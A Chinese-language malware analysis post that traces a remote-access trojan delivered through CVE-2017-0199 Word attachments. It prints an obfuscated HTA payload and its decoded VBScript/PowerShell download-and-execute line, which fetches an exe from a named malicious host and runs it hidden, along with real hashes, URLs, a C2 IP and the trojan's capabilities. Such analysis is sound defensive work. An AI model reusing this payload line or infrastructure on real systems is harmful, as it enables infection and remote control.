CVE-2017-0199漏洞传播远控木马

来源:互联网 发布:单端口多用户什么意思 编辑:程序博客网 时间:2024/05/22 06:41

1.      母体doc文档的md5: 9f7e645457ea04feeb96541c2357c717, 该文档是通过用户的邮件附件的方式来进行传播的,当用户收到doc的附件并打开,如果没打补丁,该doc文件就会触发CVE-2017-0199漏洞,该文档会自动去访问http://uploads.shanatan.moe/fxqiaf.doc网站,去下载一个fxqiaf.doc。

 

2.      fxqiaf.doc文档的MD5:73257028031580271C9DCF4AE7074FF3,该文档也是一个利用了0199漏洞,当该文档被打开后,它会自动去访问https://i.memenet.org/ryrnrr.hta网址,将该.hta文件下载下来,并且运行该.hta脚本

 

3.      该ryrnrr.hta脚本的MD5: a8119c9147070e311fea787d0feb1173, 该ryrnrr.hta脚本实际上是一个js脚本,其内容如下:

<script language=javascript>document.write(unescape('%3Chtml%3E%0A%3Cbody%3E%0A%3Cscript%20type%3D%22text/vbscript%22%3E%0Aset%20shhh%20%3D%20CreateObject%28%22WScript.Shell%22%29%0A%20%20%20Dim%20var1%0A%20%20%20%20var1%20%3D%20%22PowerShell%20%28New-Object%20System.Net.WebClient%29.DownloadFile%28%27http%3A//uploads.shanatan.moe/ckqmhm.exe%27%2C%27%25temp%25%5Csvchost32.exe%27%29%3BStart-Process%20%27%25temp%25%5Csvchost32.exe%27%22%0A%09%0A%09%0A%20%20%20%20shhh.run%20var1%2C%20vbHide%0Aself.close%0A%3C/script%3E'))</script>

这个是通过javascript的Escape函数进行编码了的,通过进行unescape的解编码后,得到脚本真面目如下:

<html>

<body>

<scripttype="text/vbscript">

set shhh= CreateObject("WScript.Shell")

Dim var1

var1 = "PowerShell (New-ObjectSystem.Net.WebClient).DownloadFile('http://uploads.shanatan.moe/ckqmhm.exe','%temp%\svchost32.exe');Start-Process'%temp%\svchost32.exe'"

    shhh.run var1, vbHide

self.close

</script>

该脚本实际上是一个html的脚本,里面内嵌套了一个vbscript的脚本,该vbs的脚本主要功能是从http://uploads.shanatan.moe/ckqmhm.exe网址下载木马exe文件,将该文件保存到临时目录下,且命名为svchost32.exe, 路径为:%temp%\svchost32.exe,最后将该svchost32.exe隐藏界面的方式运行起来。

 

4.      ckqmhm.exe文件的md5:1540C5FACDE9CFD12A21D6642F8B78C1, 该文件是一个C#写的木马,该木马实际上一个框架,因为该木马将所有干活的代码全部存放在资源文件里面,而自身的代码则是将该资源文件里面的加密代码解密出来,然后将解密出来的代码直接注入到新启动的系统svchost.exe进程里面,然后将恶意代码运行起来。且该ckqmhm.exe文件的C#代码也经过的混淆,具体样子如下:

ckqmhm.exe代码混淆后的样子:

ckqmhm.exe资源文件里面恶意代码的样子:

 

5.      将ckqmhm.exe程序经过C#的反混淆程序处理,将类名和一些函数名称变得正常,反混淆后代码样子如下:

6.      然后我们反编译该ckqmhm.exe程序,并调试该程序,该程序自解密资源文件后,将得到一个完整的PE文件,该PE的大小为825344字节,如下图:

 

7.      将该内存PE完整的dump出来,发现也是一个C#程序,原始名字叫stub.exe详情如下:

 

8.      我们再来反编译stub.exe程序,发现该木马功能十分丰富,且还有一定的对抗杀软和反调试分析的拱手段,具体详情见下表:

函数

功能

AddToStartup()

将自身写入启动项,已达到开机启动

AntiDump()

对抗其他工具对其进程内存进行dump

DetectSandboxie()

检测沙盒,防止逆向

DisableCMD()

禁用cmd.exe

DisableSafeMode()

禁用系统的安全模式,防止系统恢复

DisableTaskManager()

禁用系统的任务管理器

DisableUAC()

关闭系统的UAC

GetDefaultBrowser()

获取系统默认浏览器

GetDownloaderItems()

下载程序,会云控下载另外病毒木马程序

ProcessKiller()

杀进程功能

Is64BitProcess()

判断是否是64位进程

CreateProcessW()

根据参数创建新进程

IsAdmin()

判断程序是否有管理员权限

SetCreationDate()

设置创建文件的创建日期

 

关键函数截图:

 

注入程序列表有:Vbc.exe, Winlogon.exe, RegAsm.exe, Svchost.exe, Browser.exe,Reflection.exe, 还有程序自己,注入程序种类截图如下:

 

9.      当ckqmhm.exe将直接运行起来后,该木马先将自己拷贝到C:\Documents and Settings\John\LocalSettings\History\Temp\explorer.exe目录下,且重命名为explorer.exe,启动的时候,伪装成explorer.exe,以便隐藏起来。

10.  explorer.exe运行起来后,会写启动项,如下图:

 

11.  explorer.exe新启动一个系统的svchost.exe进程,然后将资源里面的恶意代码注入到该svchost.exe进程中去

12.  该新起来的svchost.exe进程其实是一个远控,它会主动连接远控服务器,会访问IP 185.140.53.212,向该服务器发心跳包,每次发的内容是5个字节,等待服务器响应,抓包截图如下: